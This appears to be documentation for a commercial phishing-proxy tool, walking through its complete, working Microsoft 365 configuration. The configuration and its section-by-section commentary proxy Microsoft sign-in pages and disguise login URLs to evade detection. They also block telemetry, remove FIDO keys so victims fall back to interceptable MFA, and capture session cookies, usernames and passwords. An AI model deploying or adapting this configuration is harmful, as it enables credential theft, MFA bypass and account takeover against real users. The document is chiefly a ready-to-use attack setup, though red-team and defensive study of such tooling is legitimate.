Skip to main content

Example: Microsoft 365 phishlet walkthrough

This page walks through a complete real-world phishlet for Microsoft 365 sign-in, section by section. Read it alongside the Phishlets 2.0 overview — every construct used here is documented in detail elsewhere in this section.

The walkthrough is structured the way the file is written: top to bottom, one phishlet section per heading. For each block we show the HJSON snippet, what it does, and why the phishlet author put it there.

The full M365 phishlet:

{
redirect_url: "https://office.com"
landing_url: "https://login.microsoftonline.com/?whr=${tenant}"
params: [
{ name: "tenant", value: "", required: false }
]
options: {
rewrite: {
global: {
auto_detect_urls: true
}
}
}
proxy: {
hosts: [
{ hostname: "login.microsoftonline.com" }
{ hostname: "login.microsoft.com" }
{ hostname: "www.office.com" }
{ hostname: "aadcdn.msftauth.net", proxy_subdomain: "cdn-1" }
{ hostname: "aadcdn.msauth.net", proxy_subdomain: "cdn-2" }
{ hostname: "logincdn.msauth.net", proxy_subdomain: "cdn-3" }
{ hostname: "aadcdn.msftauthimages.net", proxy_subdomain: "cdn-4" }
{ hostname: "login.live.com", proxy_subdomain: "sso" }
{ hostname: "browser.events.data.microsoft.com", proxy_subdomain: "events" }
]
}
rewrite: {
urls: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/" }, rewrite: { path: "/${rewrite_id}/login" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/oauth2/v2.0/authorize" }, rewrite: { path: "/o/auth", query: { v: "${rewrite_id}" } }, options: { exclude_keys: ["client_id"] } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, rewrite: { path: "/o/l/${rewrite_id}" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/SAS/ProcessAuth" }, rewrite: { path: "/o/s/${rewrite_id}" } }
]
requests: [
]
responses: [
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '""' } }
{ trigger: { hostname: "login.microsoft.com", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '""' } }
{ trigger: { hostname: "aadcdn.msftauth.net", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '\'\'' } }
{ trigger: { hostname: "aadcdn.msftauthimages.net", path: "*", mime_types: ["text/css"] }, locator: { scope: "body", format: "raw", match_value: '~\\.cloudfront\\.net'}, rewrite: { value: '.local' } }
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});'}, rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json", match_key: 'arrUserProofs.[*].authMethodId', match_value: 'FidoKey'}, rewrite: { action: 'delete', key: '@-1' } }
]}
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});'}, rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json", match_key: 'arrUserProofs.[0]', match_value: '*'}, rewrite: { action: 'update', key: '@.isDefault', value: 'true' } }
]}
]
}
capture: {
cookies: [
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'ESTSAUTH', match_value: '*' }, options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'ESTSAUTHPERSISTENT', match_value: '*' }, options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'SignInStateCookie', match_value: '*' }, options: { required: true, allow_overwrite: true } }
]
tokens: {
requests: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, locator: { scope: "body", format: "form", match_key: 'login', match_value: '*' }, token: { name: "#username" }, options: { required: false, allow_overwrite: true } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, locator: { scope: "body", format: "form", match_key: 'passwd', match_value: '*' }, token: { name: "#password" }, options: { required: false, allow_overwrite: true } }
]
}
}
intercept: {
requests: [
{ trigger: { hostname: "browser.events.data.microsoft.com", "path": "*" }, response: { status: 403, mime_type: "application/json" } }
]
}
inject: {
javascript: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/" }, script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/oauth2/v2.0/authorize" }, script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/SAS/ProcessAuth" }, script: { location: "head", data: "@rememberme.js" } }
]
}
}

1. Root and parameters

{
redirect_url: "https://office.com"
landing_url: "https://login.microsoftonline.com/?whr=${tenant}"
params: [
{ name: "tenant", value: "", required: false }
]
/* … */
}
  • redirect_url — once the proxy has captured every required: true cookie/token from the session, it redirects the visitor to office.com. From the visitor's perspective they "logged in and landed where they expected to."
  • landing_url — the URL the proxy loads when the visitor follows the lure. The ?whr=${tenant} query forces Microsoft to skip the email-discovery step and present the sign-in form directly for a specific tenant (the value of the tenant parameter).
  • params.tenant — declares the ${tenant} placeholder. It's optional, so if the operator doesn't set it the ?whr= parameter ends up empty (and the visitor sees the generic Microsoft sign-in page). For targeted engagements the operator would set it on the lure, e.g. phishlets set m365 params tenant=victimcorp.com.

Notice the phishlet omits required_ver. It will load on any Evilginx Pro build that supports Phishlets 2.0.

See Params for the parameter mechanics and resolution order.

2. Options

options: {
rewrite: {
global: {
auto_detect_urls: true
}
}
}

Microsoft's sign-in flow loads assets from a sprawling set of hostnames that change over time. Enabling auto_detect_urls lets the proxy notice unfamiliar URLs in HTML/JSON responses and dynamically add their hostnames to the proxied set so the visitor's browser doesn't escape the proxy when it goes to fetch them.

auto_rewrite_urls is left at its default (true), so detected and explicitly-listed hostnames are both rewritten as they appear in proxied content. See Options.

3. Proxied hosts

proxy: {
hosts: [
{ hostname: "login.microsoftonline.com" }
{ hostname: "login.microsoft.com" }
{ hostname: "www.office.com" }
{ hostname: "aadcdn.msftauth.net", proxy_subdomain: "cdn-1" }
{ hostname: "aadcdn.msauth.net", proxy_subdomain: "cdn-2" }
{ hostname: "logincdn.msauth.net", proxy_subdomain: "cdn-3" }
{ hostname: "aadcdn.msftauthimages.net", proxy_subdomain: "cdn-4" }
{ hostname: "login.live.com", proxy_subdomain: "sso" }
{ hostname: "browser.events.data.microsoft.com", proxy_subdomain: "events" }
]
}

The hosts fall into four groups:

  1. Authentication front-doorslogin.microsoftonline.com, login.microsoft.com, www.office.com. No proxy_subdomain is set, so the proxy uses each hostname's first label (login, login again — auto-incremented to login1, then www) on the phishing domain.
  2. CDN hosts for sign-in assets — explicitly assigned cdn-1 through cdn-4. Grouping them under a consistent cdn-N scheme keeps the rewritten host names short and visually consistent.
  3. SSOlogin.live.com for cross-Microsoft sign-on, surfaced as sso.<phishing-domain>.
  4. Telemetrybrowser.events.data.microsoft.com, given the events subdomain. This host is intentionally proxied (rather than left to escape) only so the phishlet can intercept and block its requests later — see §7 Intercept.

See Proxy for subdomain assignment rules.

4. URL rewrites

rewrite: {
urls: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/" },
rewrite: { path: "/${rewrite_id}/login" } }

{ trigger: { hostname: "login.microsoftonline.com",
path: "/common/oauth2/v2.0/authorize" },
rewrite: { path: "/o/auth", query: { v: "${rewrite_id}" } },
options: { exclude_keys: ["client_id"] } }

{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
rewrite: { path: "/o/l/${rewrite_id}" } }

{ trigger: { hostname: "login.microsoftonline.com", path: "/common/SAS/ProcessAuth" },
rewrite: { path: "/o/s/${rewrite_id}" } }
]
/* … */
}

Every entry here disguises a well-known Microsoft sign-in path with a non-canonical one. Browsers and security tools commonly compare URLs against lists of known login endpoints (/common/oauth2/v2.0/authorize is a strong signal that the visitor is on a Microsoft login page). By replacing those paths with neutral ones (/o/auth, /o/l/N, …), the phishlet reduces the likelihood of being flagged.

A few details worth noting:

  • The ${rewrite_id} placeholder is required in either path or query for URL rewrites. Each rule above places it somewhere.
  • The OAuth-authorize rule pins ${rewrite_id} in the query rather than the path so the displayed URL stays at /o/auth. The original path's client_id query parameter is preserved via exclude_keys because Microsoft's client-side JavaScript reads it back from the URL on the rendered page; hiding it would break the flow.
  • The other three rules put ${rewrite_id} in the path, treating it as a random session-scoped path segment.

See Rewrite → URLs.

5. Response rewrites

rewrite.requests is left empty for M365 (requests: [ ]) — Microsoft's authentication flow doesn't need any outgoing-request modifications. The interesting work happens on the response side.

5a. Stripping telemetry URLs from response bodies

{ trigger: { hostname: "login.microsoftonline.com", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: '""' } }

{ trigger: { hostname: "login.microsoft.com", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: '""' } }

{ trigger: { hostname: "aadcdn.msftauth.net", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: "''" } }

Three near-identical rules — one per host that emits Microsoft telemetry references. Each finds any double-quoted https://...events.data.microsoft.com... URL embedded in the response body and replaces it with an empty string literal ("" or '', matching the surrounding code style). The visitor's browser then has nothing to call out to. Combined with the explicit telemetry block in §7, this stops both the bootstrapped telemetry endpoints embedded in the JavaScript and the runtime calls themselves.

The body is parsed as raw because the response is JavaScript / HTML, not JSON. format: "raw" requires regex match_value — note the leading ~.

5b. Rewriting a CDN reference inside CSS

{ trigger: { hostname: "aadcdn.msftauthimages.net",
path: "*", mime_types: ["text/css"] },
locator: { scope: "body", format: "raw", match_value: '~\\.cloudfront\\.net' },
rewrite: { value: '.local' } }

Stylesheets served from aadcdn.msftauthimages.net contain url(...) references to a cloudfront.net host. This rule scopes the rewrite to CSS responses (mime_types: ["text/css"]) and turns .cloudfront.net into .local, neutralizing the off-proxy CDN lookup.

5c. Chained rewrites: removing FIDO as an MFA option

{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw",
match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json",
match_key: 'arrUserProofs.[*].authMethodId',
match_value: 'FidoKey' },
rewrite: { action: 'delete', key: '@-1' } }
]}

Microsoft embeds a JavaScript object literal called $Config = {...}; inside the HTML response — it holds the user's available MFA methods (arrUserProofs) and other client-side state. This rule reaches into that JSON-inside-HTML and removes FIDO security keys as an option, so the victim is forced down a more interceptable MFA path (typically authenticator-app or SMS).

How the chain works (see Rewrite → Chained rewrites):

  1. The first chain item runs against the raw HTML. The regex captures the JSON object literal between $Config= and ;. The replacement value ('$Config=${1};') writes the captured object back into the body unchanged — at this stage we only want to extract the JSON for the next step. The chained_value ('${1}') forwards just the captured object to the next chain item.
  2. The second chain item runs against the extracted JSON. The JSON Path arrUserProofs.[*].authMethodId walks every MFA method declared for the user, and match_value: 'FidoKey' narrows the matches to FIDO keys. The action delete with key: '@-1' deletes the parent object — i.e. the entire MFA method entry, not just the authMethodId field.

After the second item modifies the JSON, the chain writes the result back into the body in place of the captured object.

5d. Chained rewrites: making the first MFA method the default

{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw",
match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json",
match_key: 'arrUserProofs.[0]', match_value: '*' },
rewrite: { action: 'update', key: '@.isDefault', value: 'true' } }
]}

Same setup as the previous chain — extract the $Config JSON, then act on it. Here, the second chain item targets arrUserProofs.[0] (the first remaining MFA method after the previous chain removed FIDO entries) and uses update with key: '@.isDefault' to set the isDefault flag on that array element to true. Combined with §5c, this guarantees that the visitor is offered a non-FIDO MFA method preselected as the default.

'true' is the string literal Microsoft expects; the JSON Path replace operation preserves the original type, so the boolean value remains a boolean after the update.

6. Capture

6a. Cookies

capture: {
cookies: [
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTH', match_value: '*' },
options: { required: true, allow_overwrite: true } }

{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTHPERSISTENT', match_value: '*' },
options: { required: true, allow_overwrite: true } }

{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'SignInStateCookie', match_value: '*' },
options: { required: true, allow_overwrite: true } }
]
/* … */
}

Three cookies make up a successful M365 session:

  • ESTSAUTH — the primary session token issued after authentication.
  • ESTSAUTHPERSISTENT — the persistent counterpart, present when the user opts to stay signed in.
  • SignInStateCookie — sign-in state used by Microsoft to short-circuit subsequent login attempts.

All three are flagged required: true, so the proxy will not redirect the visitor to redirect_url until all three have been captured. allow_overwrite: true allows later values to replace earlier ones (the visitor may re-authenticate multiple times in a single session).

The leading dot in '.login.microsoftonline.com' ensures the trigger matches the host itself and all subdomains. Cookie-capture triggers default path to /, but this phishlet sets it explicitly to * to allow capture on any path the server uses when issuing Set-Cookie.

See Capture → Cookies.

6b. Tokens (credentials)

tokens: {
requests: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form",
match_key: 'login', match_value: '*' },
token: { name: "#username" },
options: { required: false, allow_overwrite: true } }

{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form",
match_key: 'passwd', match_value: '*' },
token: { name: "#password" },
options: { required: false, allow_overwrite: true } }
]
}

Microsoft posts the sign-in form to /common/login as application/x-www-form-urlencoded data with fields login (the email/username) and passwd (the password). Two parallel rules capture each:

  • The first rule extracts login and stores it under the reserved name #username, which Evilginx records as the session's captured username.
  • The second rule extracts passwd and stores it under the reserved name #password.

Both are required: false — the session can still be considered successful (via the captured cookies in §6a) even if for some reason the credentials weren't seen on this specific request. allow_overwrite: true accepts the latest value if the visitor retries.

7. Intercept

intercept: {
requests: [
{ trigger: { hostname: "browser.events.data.microsoft.com", path: "*" },
response: { status: 403, mime_type: "application/json" } }
]
}

The proxy-listed telemetry host (§3, group 4) is intercepted here and answered with a 403 Forbidden carrying an empty application/json body. The upstream is never contacted. Combined with the response-body rewrites that strip telemetry URLs from JavaScript (§5a), the phishlet eliminates both static references to and runtime calls against Microsoft's diagnostic endpoints.

See Intercept.

8. Inject

inject: {
javascript: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/" },
script: { location: "body_bottom", data: "@signin.js" } }

{ trigger: { hostname: "login.microsoftonline.com",
path: "/common/oauth2/v2.0/authorize" },
script: { location: "body_bottom", data: "@signin.js" } }

{ trigger: { hostname: "login.microsoftonline.com", path: "/common/SAS/ProcessAuth" },
script: { location: "head", data: "@rememberme.js" } }
]
}

Three script injections:

  • signin.js (loaded from the phishlet's static/ directory) is injected at the bottom of <body> on both the M365 landing page (/) and the OAuth authorize endpoint. Its job is typically to massage the sign-in UI — for example, tweaking the displayed tenant name or adjusting the form's submit behavior.
  • rememberme.js is injected into <head> on the auth-processing endpoint (/common/SAS/ProcessAuth). It runs before page content renders, which is where you want logic that needs to hook the page lifecycle as early as possible — e.g. flipping the "keep me signed in" checkbox so a ESTSAUTHPERSISTENT cookie is issued.

The bodies of those scripts are not shown in config.hjson — they live as plain JavaScript files in the phishlet's static/ directory and are loaded thanks to the @ prefix on data.

See Inject.

What's next

This phishlet does not use evilpuppet. Microsoft's flow can be driven entirely through HTTP rewrites; no headless-browser automation is required. For phishlets that do need it, see Evilpuppet.

For the full reference of every option used above, return to the Phishlets 2.0 overview.